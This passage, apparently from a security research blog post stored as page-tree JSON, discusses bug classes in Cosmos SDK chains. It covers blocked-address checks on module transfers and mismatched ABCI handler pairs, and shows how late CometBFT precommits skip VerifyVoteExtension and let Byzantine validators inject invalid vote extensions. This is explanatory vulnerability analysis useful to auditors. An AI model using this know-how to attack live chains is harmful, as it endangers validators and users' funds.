{"type":23,"tag":141,"props":80868,"children":80869},{"style":750},[80870],{"type":29,"value":77540},{"type":23,"tag":141,"props":80872,"children":80873},{"style":154},[80874],{"type":29,"value":758},{"type":23,"tag":141,"props":80876,"children":80877},{"class":143,"line":7742},[80878,80882,80886,80890,80894],{"type":23,"tag":141,"props":80879,"children":80880},{"style":148},[80881],{"type":29,"value":57281},{"type":23,"tag":141,"props":80883,"children":80884},{"style":750},[80885],{"type":29,"value":46999},{"type":23,"tag":141,"props":80887,"children":80888},{"style":160},[80889],{"type":29,"value":62868},{"type":23,"tag":141,"props":80891,"children":80892},{"style":449},[80893],{"type":29,"value":80403},{"type":23,"tag":141,"props":80895,"children":80896},{"style":154},[80897],{"type":29,"value":1951},{"type":23,"tag":141,"props":80899,"children":80900},{"class":143,"line":7787},[80901,80905,80909,80913,80917],{"type":23,"tag":141,"props":80902,"children":80903},{"style":148},[80904],{"type":29,"value":59209},{"type":23,"tag":141,"props":80906,"children":80907},{"style":750},[80908],{"type":29,"value":80719},{"type":23,"tag":141,"props":80910,"children":80911},{"style":154},[80912],{"type":29,"value":322},{"type":23,"tag":141,"props":80914,"children":80915},{"style":184},[80916],{"type":29,"value":80436},{"type":23,"tag":141,"props":80918,"children":80919},{"style":154},[80920],{"type":29,"value":2123},{"type":23,"tag":141,"props":80922,"children":80923},{"class":143,"line":7893},[80924,80929],{"type":23,"tag":141,"props":80925,"children":80926},{"style":828},[80927],{"type":29,"value":80928}," \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":141,"props":80930,"children":80931},{"style":154},[80932],{"type":29,"value":2168},{"type":23,"tag":141,"props":80934,"children":80935},{"class":143,"line":22181},[80936,80941,80945,80950],{"type":23,"tag":141,"props":80937,"children":80938},{"style":750},[80939],{"type":29,"value":80940}," event",{"type":23,"tag":141,"props":80942,"children":80943},{"style":154},[80944],{"type":29,"value":322},{"type":23,"tag":141,"props":80946,"children":80947},{"style":750},[80948],{"type":29,"value":80949},"Sequence",{"type":23,"tag":141,"props":80951,"children":80952},{"style":154},[80953],{"type":29,"value":2168},{"type":23,"tag":141,"props":80955,"children":80956},{"class":143,"line":22216},[80957,80962],{"type":23,"tag":141,"props":80958,"children":80959},{"style":750},[80960],{"type":29,"value":80961}," err",{"type":23,"tag":141,"props":80963,"children":80964},{"style":154},[80965],{"type":29,"value":2168},{"type":23,"tag":141,"props":80967,"children":80968},{"class":143,"line":22224},[80969],{"type":23,"tag":141,"props":80970,"children":80971},{"style":154},[80972],{"type":29,"value":80973}," )\n",{"type":23,"tag":141,"props":80975,"children":80976},{"class":143,"line":22232},[80977],{"type":23,"tag":141,"props":80978,"children":80979},{"style":154},[80980],{"type":29,"value":57365},{"type":23,"tag":141,"props":80982,"children":80983},{"class":143,"line":22241},[80984,80988,80992],{"type":23,"tag":141,"props":80985,"children":80986},{"style":154},[80987],{"type":29,"value":1971},{"type":23,"tag":141,"props":80989,"children":80990},{"style":148},[80991],{"type":29,"value":1976},{"type":23,"tag":141,"props":80993,"children":80994},{"style":154},[80995],{"type":29,"value":1951},{"type":23,"tag":141,"props":80997,"children":80998},{"class":143,"line":22283},[80999],{"type":23,"tag":141,"props":81000,"children":81001},{"style":160},[81002],{"type":29,"value":81003}," ...\n",{"type":23,"tag":141,"props":81005,"children":81006},{"class":143,"line":22316},[81007],{"type":23,"tag":141,"props":81008,"children":81009},{"style":154},[81010],{"type":29,"value":2008},{"type":23,"tag":141,"props":81012,"children":81013},{"class":143,"line":22324},[81014],{"type":23,"tag":141,"props":81015,"children":81016},{"style":154},[81017],{"type":29,"value":299},{"type":23,"tag":141,"props":81019,"children":81020},{"class":143,"line":22332},[81021],{"type":23,"tag":141,"props":81022,"children":81023},{"style":160},[81024],{"type":29,"value":19011},{"type":23,"tag":141,"props":81026,"children":81027},{"class":143,"line":22341},[81028],{"type":23,"tag":141,"props":81029,"children":81030},{"style":154},[81031],{"type":29,"value":2573},{"type":23,"tag":141,"props":81033,"children":81034},{"class":143,"line":22417},[81035],{"type":23,"tag":141,"props":81036,"children":81037},{"emptyLinePlaceholder":15},[81038],{"type":29,"value":719},{"type":23,"tag":141,"props":81040,"children":81041},{"class":143,"line":22450},[81042,81046,81050,81054,81058,81062,81066],{"type":23,"tag":141,"props":81043,"children":81044},{"style":449},[81045],{"type":29,"value":74785},{"type":23,"tag":141,"props":81047,"children":81048},{"style":154},[81049],{"type":29,"value":1220},{"type":23,"tag":141,"props":81051,"children":81052},{"style":750},[81053],{"type":29,"value":79613},{"type":23,"tag":141,"props":81055,"children":81056},{"style":725},[81057],{"type":29,"value":78430},{"type":23,"tag":141,"props":81059,"children":81060},{"style":154},[81061],{"type":29,"value":1748},{"type":23,"tag":141,"props":81063,"children":81064},{"style":184},[81065],{"type":29,"value":80838},{"type":23,"tag":141,"props":81067,"children":81068},{"style":154},[81069],{"type":29,"value":2123},{"type":23,"tag":141,"props":81071,"children":81072},{"class":143,"line":22458},[81073,81077,81081,81085,81089],{"type":23,"tag":141,"props":81074,"children":81075},{"style":750},[81076],{"type":29,"value":18895},{"type":23,"tag":141,"props":81078,"children":81079},{"style":725},[81080],{"type":29,"value":77126},{"type":23,"tag":141,"props":81082,"children":81083},{"style":154},[81084],{"type":29,"value":322},{"type":23,"tag":141,"props":81086,"children":81087},{"style":725},[81088],{"type":29,"value":74834},{"type":23,"tag":141,"props":81090,"children":81091},{"style":154},[81092],{"type":29,"value":2168},{"type":23,"tag":141,"props":81094,"children":81095},{"class":143,"line":22466},[81096,81101,81105,81109,81114],{"type":23,"tag":141,"props":81097,"children":81098},{"style":750},[81099],{"type":29,"value":81100}," recipient",{"type":23,"tag":141,"props":81102,"children":81103},{"style":725},[81104],{"type":29,"value":77126},{"type":23,"tag":141,"props":81106,"children":81107},{"style":154},[81108],{"type":29,"value":322},{"type":23,"tag":141,"props":81110,"children":81111},{"style":725},[81112],{"type":29,"value":81113},"AccAddress",{"type":23,"tag":141,"props":81115,"children":81116},{"style":154},[81117],{"type":29,"value":2168},{"type":23,"tag":141,"props":81119,"children":81120},{"class":143,"line":22503},[81121,81125,81130,81134,81139],{"type":23,"tag":141,"props":81122,"children":81123},{"style":750},[81124],{"type":29,"value":60063},{"type":23,"tag":141,"props":81126,"children":81127},{"style":725},[81128],{"type":29,"value":81129}," math",{"type":23,"tag":141,"props":81131,"children":81132},{"style":154},[81133],{"type":29,"value":322},{"type":23,"tag":141,"props":81135,"children":81136},{"style":725},[81137],{"type":29,"value":81138},"Int",{"type":23,"tag":141,"props":81140,"children":81141},{"style":154},[81142],{"type":29,"value":2168},{"type":23,"tag":141,"props":81144,"children":81145},{"class":143,"line":22516},[81146,81150,81154],{"type":23,"tag":141,"props":81147,"children":81148},{"style":154},[81149],{"type":29,"value":1748},{"type":23,"tag":141,"props":81151,"children":81152},{"style":725},[81153],{"type":29,"value":13540},{"type":23,"tag":141,"props":81155,"children":81156},{"style":154},[81157],{"type":29,"value":1951},{"type":23,"tag":141,"props":81159,"children":81160},{"class":143,"line":22529},[81161],{"type":23,"tag":141,"props":81162,"children":81163},{"style":160},[81164],{"type":29,"value":19011},{"type":23,"tag":141,"props":81166,"children":81167},{"class":143,"line":22542},[81168,81173,81177,81181,81185,81190,81194,81198],{"type":23,"tag":141,"props":81169,"children":81170},{"style":750},[81171],{"type":29,"value":81172}," err",{"type":23,"tag":141,"props":81174,"children":81175},{"style":160},[81176],{"type":29,"value":1674},{"type":23,"tag":141,"props":81178,"children":81179},{"style":750},[81180],{"type":29,"value":79741},{"type":23,"tag":141,"props":81182,"children":81183},{"style":154},[81184],{"type":29,"value":322},{"type":23,"tag":141,"props":81186,"children":81187},{"style":750},[81188],{"type":29,"value":81189},"bankKeeper",{"type":23,"tag":141,"props":81191,"children":81192},{"style":154},[81193],{"type":29,"value":322},{"type":23,"tag":141,"props":81195,"children":81196},{"style":184},[81197],{"type":29,"value":80128},{"type":23,"tag":141,"props":81199,"children":81200},{"style":154},[81201],{"type":29,"value":2123},{"type":23,"tag":141,"props":81203,"children":81204},{"class":143,"line":22596},[81205,81209],{"type":23,"tag":141,"props":81206,"children":81207},{"style":750},[81208],{"type":29,"value":24870},{"type":23,"tag":141,"props":81210,"children":81211},{"style":154},[81212],{"type":29,"value":2168},{"type":23,"tag":141,"props":81214,"children":81215},{"class":143,"line":22605},[81216,81221,81225,81230],{"type":23,"tag":141,"props":81217,"children":81218},{"style":750},[81219],{"type":29,"value":81220}," types",{"type":23,"tag":141,"props":81222,"children":81223},{"style":154},[81224],{"type":29,"value":322},{"type":23,"tag":141,"props":81226,"children":81227},{"style":750},[81228],{"type":29,"value":81229},"ModuleName",{"type":23,"tag":141,"props":81231,"children":81232},{"style":154},[81233],{"type":29,"value":2168},{"type":23,"tag":141,"props":81235,"children":81236},{"class":143,"line":30749},[81237,81241],{"type":23,"tag":141,"props":81238,"children":81239},{"style":750},[81240],{"type":29,"value":80638},{"type":23,"tag":141,"props":81242,"children":81243},{"style":154},[81244],{"type":29,"value":2168},{"type":23,"tag":141,"props":81246,"children":81247},{"class":143,"line":30770},[81248,81253],{"type":23,"tag":141,"props":81249,"children":81250},{"style":750},[81251],{"type":29,"value":81252}," coins",{"type":23,"tag":141,"props":81254,"children":81255},{"style":154},[81256],{"type":29,"value":2168},{"type":23,"tag":141,"props":81258,"children":81259},{"class":143,"line":79436},[81260],{"type":23,"tag":141,"props":81261,"children":81262},{"style":154},[81263],{"type":29,"value":22602},{"type":23,"tag":141,"props":81265,"children":81266},{"class":143,"line":79449},[81267,81271,81275,81279,81283],{"type":23,"tag":141,"props":81268,"children":81269},{"style":148},[81270],{"type":29,"value":151},{"type":23,"tag":141,"props":81272,"children":81273},{"style":750},[81274],{"type":29,"value":46999},{"type":23,"tag":141,"props":81276,"children":81277},{"style":160},[81278],{"type":29,"value":62868},{"type":23,"tag":141,"props":81280,"children":81281},{"style":449},[81282],{"type":29,"value":80403},{"type":23,"tag":141,"props":81284,"children":81285},{"style":154},[81286],{"type":29,"value":1951},{"type":23,"tag":141,"props":81288,"children":81289},{"class":143,"line":79457},[81290,81294,81298,81302,81306,81310,81315,81319,81323],{"type":23,"tag":141,"props":81291,"children":81292},{"style":148},[81293],{"type":29,"value":14420},{"type":23,"tag":141,"props":81295,"children":81296},{"style":750},[81297],{"type":29,"value":80719},{"type":23,"tag":141,"props":81299,"children":81300},{"style":154},[81301],{"type":29,"value":322},{"type":23,"tag":141,"props":81303,"children":81304},{"style":184},[81305],{"type":29,"value":80436},{"type":23,"tag":141,"props":81307,"children":81308},{"style":154},[81309],{"type":29,"value":192},{"type":23,"tag":141,"props":81311,"children":81312},{"style":828},[81313],{"type":29,"value":81314},"\"failed to send coins: %w\"",{"type":23,"tag":141,"props":81316,"children":81317},{"style":154},[81318],{"type":29,"value":480},{"type":23,"tag":141,"props":81320,"children":81321},{"style":750},[81322],{"type":29,"value":46898},{"type":23,"tag":141,"props":81324,"children":81325},{"style":154},[81326],{"type":29,"value":758},{"type":23,"tag":141,"props":81328,"children":81329},{"class":143,"line":79465},[81330],{"type":23,"tag":141,"props":81331,"children":81332},{"style":154},[81333],{"type":29,"value":299},{"type":23,"tag":141,"props":81335,"children":81336},{"class":143,"line":79473},[81337],{"type":23,"tag":141,"props":81338,"children":81339},{"style":160},[81340],{"type":29,"value":19011},{"type":23,"tag":141,"props":81342,"children":81343},{"class":143,"line":79513},[81344],{"type":23,"tag":141,"props":81345,"children":81346},{"style":154},[81347],{"type":29,"value":2573},{"type":23,"tag":131,"props":81349,"children":81351},{"code":81350,"language":74649,"meta":7,"className":74650,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[81352],{"type":23,"tag":38,"props":81353,"children":81354},{"__ignoreMap":7},[81355,81387,81466,81481,81489,81520,81578,81585,81592],{"type":23,"tag":141,"props":81356,"children":81357},{"class":143,"line":144},[81358,81362,81366,81370,81375,81379,81383],{"type":23,"tag":141,"props":81359,"children":81360},{"style":449},[81361],{"type":29,"value":74785},{"type":23,"tag":141,"props":81363,"children":81364},{"style":154},[81365],{"type":29,"value":1220},{"type":23,"tag":141,"props":81367,"children":81368},{"style":750},[81369],{"type":29,"value":79613},{"type":23,"tag":141,"props":81371,"children":81372},{"style":725},[81373],{"type":29,"value":81374},"BaseKeeper",{"type":23,"tag":141,"props":81376,"children":81377},{"style":154},[81378],{"type":29,"value":1748},{"type":23,"tag":141,"props":81380,"children":81381},{"style":184},[81382],{"type":29,"value":80128},{"type":23,"tag":141,"props":81384,"children":81385},{"style":154},[81386],{"type":29,"value":2123},{"type":23,"tag":141,"props":81388,"children":81389},{"class":143,"line":180},[81390,81394,81398,81402,81406,81410,81415,81419,81423,81428,81432,81436,81440,81444,81449,81453,81457,81462],{"type":23,"tag":141,"props":81391,"children":81392},{"style":750},[81393],{"type":29,"value":24527},{"type":23,"tag":141,"props":81395,"children":81396},{"style":725},[81397],{"type":29,"value":74825},{"type":23,"tag":141,"props":81399,"children":81400},{"style":154},[81401],{"type":29,"value":322},{"type":23,"tag":141,"props":81403,"children":81404},{"style":725},[81405],{"type":29,"value":74834},{"type":23,"tag":141,"props":81407,"children":81408},{"style":154},[81409],{"type":29,"value":480},{"type":23,"tag":141,"props":81411,"children":81412},{"style":750},[81413],{"type":29,"value":81414},"senderModule",{"type":23,"tag":141,"props":81416,"children":81417},{"style":725},[81418],{"type":29,"value":34500},{"type":23,"tag":141,"props":81420,"children":81421},{"style":154},[81422],{"type":29,"value":480},{"type":23,"tag":141,"props":81424,"children":81425},{"style":750},[81426],{"type":29,"value":81427},"recipientAddr",{"type":23,"tag":141,"props":81429,"children":81430},{"style":725},[81431],{"type":29,"value":77126},{"type":23,"tag":141,"props":81433,"children":81434},{"style":154},[81435],{"type":29,"value":322},{"type":23,"tag":141,"props":81437,"children":81438},{"style":725},[81439],{"type":29,"value":81113},{"type":23,"tag":141,"props":81441,"children":81442},{"style":154},[81443],{"type":29,"value":480},{"type":23,"tag":141,"props":81445,"children":81446},{"style":750},[81447],{"type":29,"value":81448},"amt",{"type":23,"tag":141,"props":81450,"children":81451},{"style":725},[81452],{"type":29,"value":77126},{"type":23,"tag":141,"props":81454,"children":81455},{"style":154},[81456],{"type":29,"value":322},{"type":23,"tag":141,"props":81458,"children":81459},{"style":725},[81460],{"type":29,"value":81461},"Coins",{"type":23,"tag":141,"props":81463,"children":81464},{"style":154},[81465],{"type":29,"value":2168},{"type":23,"tag":141,"props":81467,"children":81468},{"class":143,"line":205},[81469,81473,81477],{"type":23,"tag":141,"props":81470,"children":81471},{"style":154},[81472],{"type":29,"value":1748},{"type":23,"tag":141,"props":81474,"children":81475},{"style":725},[81476],{"type":29,"value":13540},{"type":23,"tag":141,"props":81478,"children":81479},{"style":154},[81480],{"type":29,"value":1951},{"type":23,"tag":141,"props":81482,"children":81483},{"class":143,"line":218},[81484],{"type":23,"tag":141,"props":81485,"children":81486},{"style":160},[81487],{"type":29,"value":81488}," ...\n",{"type":23,"tag":141,"props":81490,"children":81491},{"class":143,"line":227},[81492,81496,81500,81504,81508,81512,81516],{"type":23,"tag":141,"props":81493,"children":81494},{"style":148},[81495],{"type":29,"value":14464},{"type":23,"tag":141,"props":81497,"children":81498},{"style":750},[81499],{"type":29,"value":79741},{"type":23,"tag":141,"props":81501,"children":81502},{"style":154},[81503],{"type":29,"value":322},{"type":23,"tag":141,"props":81505,"children":81506},{"style":184},[81507],{"type":29,"value":80144},{"type":23,"tag":141,"props":81509,"children":81510},{"style":154},[81511],{"type":29,"value":192},{"type":23,"tag":141,"props":81513,"children":81514},{"style":750},[81515],{"type":29,"value":81427},{"type":23,"tag":141,"props":81517,"children":81518},{"style":154},[81519],{"type":29,"value":13480},{"type":23,"tag":141,"props":81521,"children":81522},{"class":143,"line":241},[81523,81527,81532,81536,81540,81544,81548,81552,81557,81561,81566,81570,81574],{"type":23,"tag":141,"props":81524,"children":81525},{"style":148},[81526],{"type":29,"value":37670},{"type":23,"tag":141,"props":81528,"children":81529},{"style":750},[81530],{"type":29,"value":81531}," errorsmod",{"type":23,"tag":141,"props":81533,"children":81534},{"style":154},[81535],{"type":29,"value":322},{"type":23,"tag":141,"props":81537,"children":81538},{"style":184},[81539],{"type":29,"value":79395},{"type":23,"tag":141,"props":81541,"children":81542},{"style":154},[81543],{"type":29,"value":192},{"type":23,"tag":141,"props":81545,"children":81546},{"style":750},[81547],{"type":29,"value":79057},{"type":23,"tag":141,"props":81549,"children":81550},{"style":154},[81551],{"type":29,"value":322},{"type":23,"tag":141,"props":81553,"children":81554},{"style":750},[81555],{"type":29,"value":81556},"ErrUnauthorized",{"type":23,"tag":141,"props":81558,"children":81559},{"style":154},[81560],{"type":29,"value":480},{"type":23,"tag":141,"props":81562,"children":81563},{"style":828},[81564],{"type":29,"value":81565},"\"%s is not allowed to receive funds\"",{"type":23,"tag":141,"props":81567,"children":81568},{"style":154},[81569],{"type":29,"value":480},{"type":23,"tag":141,"props":81571,"children":81572},{"style":750},[81573],{"type":29,"value":81427},{"type":23,"tag":141,"props":81575,"children":81576},{"style":154},[81577],{"type":29,"value":758},{"type":23,"tag":141,"props":81579,"children":81580},{"class":143,"line":262},[81581],{"type":23,"tag":141,"props":81582,"children":81583},{"style":154},[81584],{"type":29,"value":8274},{"type":23,"tag":141,"props":81586,"children":81587},{"class":143,"line":271},[81588],{"type":23,"tag":141,"props":81589,"children":81590},{"style":160},[81591],{"type":29,"value":81488},{"type":23,"tag":141,"props":81593,"children":81594},{"class":143,"line":293},[81595],{"type":23,"tag":141,"props":81596,"children":81597},{"style":154},[81598],{"type":29,"value":2573},{"type":23,"tag":32,"props":81600,"children":81601},{},[81602,81604,81611],{"type":29,"value":81603},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":55,"props":81605,"children":81608},{"href":81606,"rel":81607},"https://hackerone.com/reports/3018307",[59],[81609],{"type":29,"value":81610},"improper decimal handling in the group module",{"type":29,"value":322},{"type":23,"tag":24,"props":81613,"children":81615},{"id":81614},"same-same-but-different",[81616],{"type":29,"value":81617},"Same, Same... But Different",{"type":23,"tag":32,"props":81619,"children":81620},{},[81621,81623,81629,81630,81636,81637,81643,81644,81650],{"type":29,"value":81622},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":38,"props":81624,"children":81626},{"className":81625},[],[81627],{"type":29,"value":81628},"PrepareProposal",{"type":29,"value":480},{"type":23,"tag":38,"props":81631,"children":81633},{"className":81632},[],[81634],{"type":29,"value":81635},"ProcessProposal",{"type":29,"value":480},{"type":23,"tag":38,"props":81638,"children":81640},{"className":81639},[],[81641],{"type":29,"value":81642},"ExtendVote",{"type":29,"value":5161},{"type":23,"tag":38,"props":81645,"children":81647},{"className":81646},[],[81648],{"type":29,"value":81649},"VerifyVoteExtension",{"type":29,"value":81651},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":32,"props":81653,"children":81654},{},[81655],{"type":29,"value":81656},"Two of the best-known attack surfaces are",{"type":23,"tag":116,"props":81658,"children":81659},{},[81660,81689],{"type":23,"tag":120,"props":81661,"children":81662},{},[81663,81668,81669,81674,81676,81681,81682,81687],{"type":23,"tag":38,"props":81664,"children":81666},{"className":81665},[],[81667],{"type":29,"value":81628},{"type":29,"value":1220},{"type":23,"tag":38,"props":81670,"children":81672},{"className":81671},[],[81673],{"type":29,"value":81642},{"type":29,"value":81675},") outputs being rejected due to ",{"type":23,"tag":38,"props":81677,"children":81679},{"className":81678},[],[81680],{"type":29,"value":81635},{"type":29,"value":1220},{"type":23,"tag":38,"props":81683,"children":81685},{"className":81684},[],[81686],{"type":29,"value":81649},{"type":29,"value":81688},") over-validating, resulting in liveness failures.",{"type":23,"tag":120,"props":81690,"children":81691},{},[81692,81694,81699,81700,81705,81707,81712,81713,81718],{"type":29,"value":81693},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":38,"props":81695,"children":81697},{"className":81696},[],[81698],{"type":29,"value":81628},{"type":29,"value":1220},{"type":23,"tag":38,"props":81701,"children":81703},{"className":81702},[],[81704],{"type":29,"value":81642},{"type":29,"value":81706},") are accepted due to ",{"type":23,"tag":38,"props":81708,"children":81710},{"className":81709},[],[81711],{"type":29,"value":81635},{"type":29,"value":1220},{"type":23,"tag":38,"props":81714,"children":81716},{"className":81715},[],[81717],{"type":29,"value":81649},{"type":29,"value":81719},") under-validating.",{"type":23,"tag":32,"props":81721,"children":81722},{},[81723],{"type":29,"value":81724},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":32,"props":81726,"children":81727},{},[81728,81730,81736,81738,81743],{"type":29,"value":81729},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":38,"props":81731,"children":81733},{"className":81732},[],[81734],{"type":29,"value":81735},"VoteExtensions",{"type":29,"value":81737}," within ",{"type":23,"tag":38,"props":81739,"children":81741},{"className":81740},[],[81742],{"type":29,"value":81628},{"type":29,"value":81744},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":32,"props":81746,"children":81747},{},[81748,81750,81755,81757,81762],{"type":29,"value":81749},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":38,"props":81751,"children":81753},{"className":81752},[],[81754],{"type":29,"value":81642},{"type":29,"value":81756}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":38,"props":81758,"children":81760},{"className":81759},[],[81761],{"type":29,"value":81649},{"type":29,"value":81763},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":32,"props":81765,"children":81766},{},[81767,81769,81774],{"type":29,"value":81768},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":38,"props":81770,"children":81772},{"className":81771},[],[81773],{"type":29,"value":81649},{"type":29,"value":81775}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":32,"props":81777,"children":81778},{},[81779,81781,81786,81788,81794],{"type":29,"value":81780},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":38,"props":81782,"children":81784},{"className":81783},[],[81785],{"type":29,"value":81649},{"type":29,"value":81787},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":38,"props":81789,"children":81791},{"className":81790},[],[81792],{"type":29,"value":81793},"Proposal",{"type":29,"value":322},{"type":23,"tag":131,"props":81796,"children":81798},{"code":81797,"language":74649,"meta":7,"className":74650,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[81799],{"type":23,"tag":38,"props":81800,"children":81801},{"__ignoreMap":7},[81802,81914,81921,81928,81936,81944,82028,82035,82043,82097,82104,82125,82132,82204,82220,82227,82301,82357,82364,82426,82433,82440,82459,82466,82473,82480],{"type":23,"tag":141,"props":81803,"children":81804},{"class":143,"line":144},[81805,81809,81813,81818,81822,81827,81831,81836,81840,81845,81849,81853,81857,81862,81866,81871,81876,81880,81885,81889,81894,81898,81902,81906,81910],{"type":23,"tag":141,"props":81806,"children":81807},{"style":449},[81808],{"type":29,"value":74785},{"type":23,"tag":141,"props":81810,"children":81811},{"style":154},[81812],{"type":29,"value":1220},{"type":23,"tag":141,"props":81814,"children":81815},{"style":750},[81816],{"type":29,"value":81817},"cs ",{"type":23,"tag":141,"props":81819,"children":81820},{"style":160},[81821],{"type":29,"value":197},{"type":23,"tag":141,"props":81823,"children":81824},{"style":725},[81825],{"type":29,"value":81826},"State",{"type":23,"tag":141,"props":81828,"children":81829},{"style":154},[81830],{"type":29,"value":1748},{"type":23,"tag":141,"props":81832,"children":81833},{"style":184},[81834],{"type":29,"value":81835},"addVote",{"type":23,"tag":141,"props":81837,"children":81838},{"style":154},[81839],{"type":29,"value":192},{"type":23,"tag":141,"props":81841,"children":81842},{"style":750},[81843],{"type":29,"value":81844},"vote",{"type":23,"tag":141,"props":81846,"children":81847},{"style":160},[81848],{"type":29,"value":8496},{"type":23,"tag":141,"props":81850,"children":81851},{"style":725},[81852],{"type":29,"value":4432},{"type":23,"tag":141,"props":81854,"children":81855},{"style":154},[81856],{"type":29,"value":322},{"type":23,"tag":141,"props":81858,"children":81859},{"style":725},[81860],{"type":29,"value":81861},"Vote",{"type":23,"tag":141,"props":81863,"children":81864},{"style":154},[81865],{"type":29,"value":480},{"type":23,"tag":141,"props":81867,"children":81868},{"style":750},[81869],{"type":29,"value":81870},"peerID",{"type":23,"tag":141,"props":81872,"children":81873},{"style":725},[81874],{"type":29,"value":81875}," p2p",{"type":23,"tag":141,"props":81877,"children":81878},{"style":154},[81879],{"type":29,"value":322},{"type":23,"tag":141,"props":81881,"children":81882},{"style":725},[81883],{"type":29,"value":81884},"ID",{"type":23,"tag":141,"props":81886,"children":81887},{"style":154},[81888],{"type":29,"value":74867},{"type":23,"tag":141,"props":81890,"children":81891},{"style":750},[81892],{"type":29,"value":81893},"added",{"type":23,"tag":141,"props":81895,"children":81896},{"style":725},[81897],{"type":29,"value":10730},{"type":23,"tag":141,"props":81899,"children":81900},{"style":154},[81901],{"type":29,"value":480},{"type":23,"tag":141,"props":81903,"children":81904},{"style":750},[81905],{"type":29,"value":46898},{"type":23,"tag":141,"props":81907,"children":81908},{"style":725},[81909],{"type":29,"value":13553},{"type":23,"tag":141,"props":81911,"children":81912},{"style":154},[81913],{"type":29,"value":13480},{"type":23,"tag":141,"props":81915,"children":81916},{"class":143,"line":180},[81917],{"type":23,"tag":141,"props":81918,"children":81919},{"style":160},[81920],{"type":29,"value":19011},{"type":23,"tag":141,"props":81922,"children":81923},{"class":143,"line":205},[81924],{"type":23,"tag":141,"props":81925,"children":81926},{"emptyLinePlaceholder":15},[81927],{"type":29,"value":719},{"type":23,"tag":141,"props":81929,"children":81930},{"class":143,"line":218},[81931],{"type":23,"tag":141,"props":81932,"children":81933},{"style":443},[81934],{"type":29,"value":81935}," // A precommit for the previous height?\n",{"type":23,"tag":141,"props":81937,"children":81938},{"class":143,"line":227},[81939],{"type":23,"tag":141,"props":81940,"children":81941},{"style":443},[81942],{"type":29,"value":81943}," // These come in while we wait timeoutCommit\n",{"type":23,"tag":141,"props":81945,"children":81946},{"class":143,"line":241},[81947,81951,81956,81960,81965,81969,81973,81977,81982,81986,81990,81994,81998,82002,82007,82011,82015,82019,82024],{"type":23,"tag":141,"props":81948,"children":81949},{"style":148},[81950],{"type":29,"value":151},{"type":23,"tag":141,"props":81952,"children":81953},{"style":750},[81954],{"type":29,"value":81955}," vote",{"type":23,"tag":141,"props":81957,"children":81958},{"style":154},[81959],{"type":29,"value":322},{"type":23,"tag":141,"props":81961,"children":81962},{"style":750},[81963],{"type":29,"value":81964},"Height",{"type":23,"tag":141,"props":81966,"children":81967},{"style":160},[81968],{"type":29,"value":3058},{"type":23,"tag":141,"props":81970,"children":81971},{"style":472},[81972],{"type":29,"value":687},{"type":23,"tag":141,"props":81974,"children":81975},{"style":160},[81976],{"type":29,"value":1942},{"type":23,"tag":141,"props":81978,"children":81979},{"style":750},[81980],{"type":29,"value":81981}," cs",{"type":23,"tag":141,"props":81983,"children":81984},{"style":154},[81985],{"type":29,"value":322},{"type":23,"tag":141,"props":81987,"children":81988},{"style":750},[81989],{"type":29,"value":81964},{"type":23,"tag":141,"props":81991,"children":81992},{"style":160},[81993],{"type":29,"value":1253},{"type":23,"tag":141,"props":81995,"children":81996},{"style":750},[81997],{"type":29,"value":81955},{"type":23,"tag":141,"props":81999,"children":82000},{"style":154},[82001],{"type":29,"value":322},{"type":23,"tag":141,"props":82003,"children":82004},{"style":750},[82005],{"type":29,"value":82006},"Type",{"type":23,"tag":141,"props":82008,"children":82009},{"style":160},[82010],{"type":29,"value":1942},{"type":23,"tag":141,"props":82012,"children":82013},{"style":750},[82014],{"type":29,"value":76660},{"type":23,"tag":141,"props":82016,"children":82017},{"style":154},[82018],{"type":29,"value":322},{"type":23,"tag":141,"props":82020,"children":82021},{"style":750},[82022],{"type":29,"value":82023},"PrecommitType",{"type":23,"tag":141,"props":82025,"children":82026},{"style":154},[82027],{"type":29,"value":1951},{"type":23,"tag":141,"props":82029,"children":82030},{"class":143,"line":262},[82031],{"type":23,"tag":141,"props":82032,"children":82033},{"style":160},[82034],{"type":29,"value":80327},{"type":23,"tag":141,"props":82036,"children":82037},{"class":143,"line":271},[82038],{"type":23,"tag":141,"props":82039,"children":82040},{"style":443},[82041],{"type":29,"value":82042}," // Late precommits are not checked by 